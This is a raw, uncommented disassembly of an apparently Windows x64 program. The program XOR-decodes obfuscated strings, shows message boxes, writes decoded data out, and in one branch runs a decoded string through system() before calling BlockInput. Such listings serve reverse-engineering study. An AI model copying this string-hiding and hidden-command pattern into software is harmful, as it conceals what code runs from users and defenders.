movd dword [r10 + 4], xmm2
jmp 0x140051420
mov r9, r10
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400513f0
mov rdx, r10
lea rcx, [rsp + 0x40]
call fcn.140054040
nop
mov rcx, rax
call fcn.140053e00
mov rdi, rax
lea rdx, [rbp - 0x60]
call fcn.140052220
mov r9, rax
cmp byte [rax + 0xc], 0
je 0x14005158c
cmp r15d, 2
jl 0x140051556
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm2, xmmword [0x1400e77b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
mov eax, dword [str.1111111111111111]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9]
xorps xmm2, xmm0
movd dword [r9], xmm2
movdqa xmm3, xmmword [0x1400e77c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm2, xmm0
movd dword [r9 + 4], xmm2
mov ebx, 8
movsxd r8, ebx
add r8, r9
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x140051560
mov rdx, r9
lea rcx, [rbp - 0x80]
call fcn.140054040
mov rcx, rax
call fcn.140053e00
mov r9d, Ordinal_50
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp - 0x80]
call fcn.140053f20
nop
lea rcx, [rsp + 0x40]
call fcn.140053f20
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [str.r_boSQN]
movsd qword [rbp - 0x60], xmm0
movzx ecx, word [0x1400e5cb0]
mov word [rbp - 0x58], cx
movzx eax, byte [0x1400e5cb2]
mov byte [rbp - 0x60], 0x43
xor byte [rbp - 0x5f], 0x32
xor byte [rbp - 0x5e], 0x33
xor byte [rbp - 0x5d], 0x34
xor byte [rbp - 0x5c], 0x35
xor byte [rbp - 0x5b], 0x36
xor byte [rbp - 0x5a], 0x37
xor byte [rbp - 0x59], 0x38
xor cl, 0x39
mov byte [rbp - 0x58], cl
xor byte [rbp - 0x57], 0x3a
xor al, 0x3b
mov byte [rbp - 0x56], al
mov r8d, Ordinal_35
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x1a0]
call fcn.140053000
nop
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
sub r8, rdx
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1a8]
call fcn.140054560
test rax, rax
jne 0x1400516a0
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rax
mov eax, dword [0x1400e5ac8]
mov dword [rbp - 0x48], eax
movzx ecx, word [reloc.WS2_32.dll_getsockopt]
mov word [rbp - 0x44], cx
movzx eax, byte [0x1400e5ace]
mov byte [rbp - 0x48], gethostname
xor byte [rbp - 0x47], 0x32
xor byte [rbp - 0x46], 0x33
xor byte [rbp - 0x45], 0x34
xor cl, 0x35
mov byte [rbp - 0x44], cl
xor byte [rbp - 0x43], 0x36
xor al, 0x37
mov byte [rbp - 0x42], al
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x48]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051700
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x40]
call fcn.1400564b0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
nop dword [rax]
inc r14
cmp byte [rdx + r14], 0
jne 0x140051740
mov r8, r14
lea rcx, [rsp + 0x60]
call fcn.1400564b0
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x30]
lea rcx, [0x1400fb090]
call fcn.1400bce80
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400517ad
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400517a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400517a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
cmp byte [0x1400fb2a0], 0
jne 0x140051acc
lea rdx, [rsp + 0x30]
call fcn.14004d720
mov r10, rax
cmp byte [rax + 7], 0
je 0x140051910
cmp r15d, 2
jl 0x1400518d5
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm2, xmmword [0x1400e77b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
mov eax, dword [str.1111111111111111]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400e77c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x140051910
mov r9, r10
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400518e0
mov rdx, r10
lea rcx, [rsp + 0x40]
call fcn.140054040
nop
mov rcx, rax
call fcn.140053e00
mov rdi, rax
lea rdx, [rbp - 0x60]
call fcn.140052220
mov r9, rax
cmp byte [rax + 0xc], 0
je 0x140051a7c
cmp r15d, 2
jl 0x140051a46
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm2, xmmword [0x1400e77b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
mov eax, dword [str.1111111111111111]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9]
xorps xmm2, xmm0
movd dword [r9], xmm2
movdqa xmm3, xmmword [0x1400e77c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm2, xmm0
movd dword [r9 + 4], xmm2
mov ebx, 8
movsxd r8, ebx
add r8, r9
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x140051a50
mov rdx, r9
lea rcx, [rbp - 0x80]
call fcn.140054040
mov rcx, rax
call fcn.140053e00
mov r9d, Ordinal_50
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp - 0x80]
call fcn.140053f20
nop
lea rcx, [rsp + 0x40]
call fcn.140053f20
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x2b0]
call fcn.14004bc80
lea rdx, [rsp + 0x30]
call fcn.140052250
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140051b0f
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov r8d, Ordinal_35
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140053000
nop
lea rcx, [rbp + 0x30]
call fcn.140053250
mov r8, rax
lea rcx, [rbp + 0x30]
call fcn.140053260
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x2b0]
call fcn.140052fc0
lea rdx, [rbp - 0x60]
call fcn.140052270
mov r9, rax
cmp byte [rax + 0x13], 0
je 0x140051cdc
cmp r15d, 2
jl 0x140051ca5
movdqa xmm5, xmmword [0x1400e77b0]
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm6, xmmword [0x1400e77d0]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x140051ba3
cmp eax, 0x14
jge 0x140051cdc
movsxd r8, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x14
jl 0x140051cb0
mov rdx, r9
lea rcx, [rsp + 0x60]
call fcn.140054040
mov rcx, rax
call fcn.140053e00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x60]
call fcn.140053f20
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
nop
lea rcx, [rbp + 0x2b0]
call fcn.14004bc10
nop
lea rcx, [rbp + 0x30]
call fcn.140053270
nop
lea rcx, [rbp + 0x1a0]
call fcn.14004bc10
nop
lea rcx, [rbp - 0x10]
call fcn.140053270
call fcn.14004bc90
call fcn.14006adb6
call fcn.14006adcc
call fcn.14006ada0
call fcn.14006ade2
call fcn.14006adb6
call fcn.14006adcc
call fcn.14006ae0e
call fcn.14006ada0
call fcn.14006adf8
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x2b0]
call fcn.14004bc80
lea rdx, [rsp + 0x30]
call fcn.140052140
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140051dc0
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140054040
nop
mov rcx, rax
call fcn.140053e00
mov rdx, rax
mov r8d, 2
lea rcx, [rbp + 0x2b0]
call fcn.140053000
nop
lea rcx, [rsp + 0x60]
call fcn.140053f20
lea rdx, [rbp - 0x60]
call fcn.1400521b0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140051e34
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor byte [rax + 9], 0x3a
xor cl, 0x3b
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140054040
nop
mov rcx, rax
call fcn.140053e00
mov rdi, rax
lea rdx, [rbp + 0x30]
call fcn.140052170
mov r9, rax
cmp byte [rax + 0x4f], 0
je 0x140051fcc
cmp r15d, 2
jl 0x140051f9d
movdqa xmm5, xmmword [0x1400e77b0]
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm6, xmmword [0x1400e77d0]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x50
jl 0x140051ea0
jmp 0x140051fcc
mov r8, r9
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x50
jl 0x140051fa0
mov rdx, r9
lea rcx, [rbp - 0x80]
call fcn.140054040
mov rcx, rax
call fcn.140053e00
mov r9d, Ordinal_50
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp - 0x80]
call fcn.140053f20
nop
lea rcx, [rbp - 0x10]
call fcn.140053f20
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x48], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x48], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x48], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x48], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x48], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3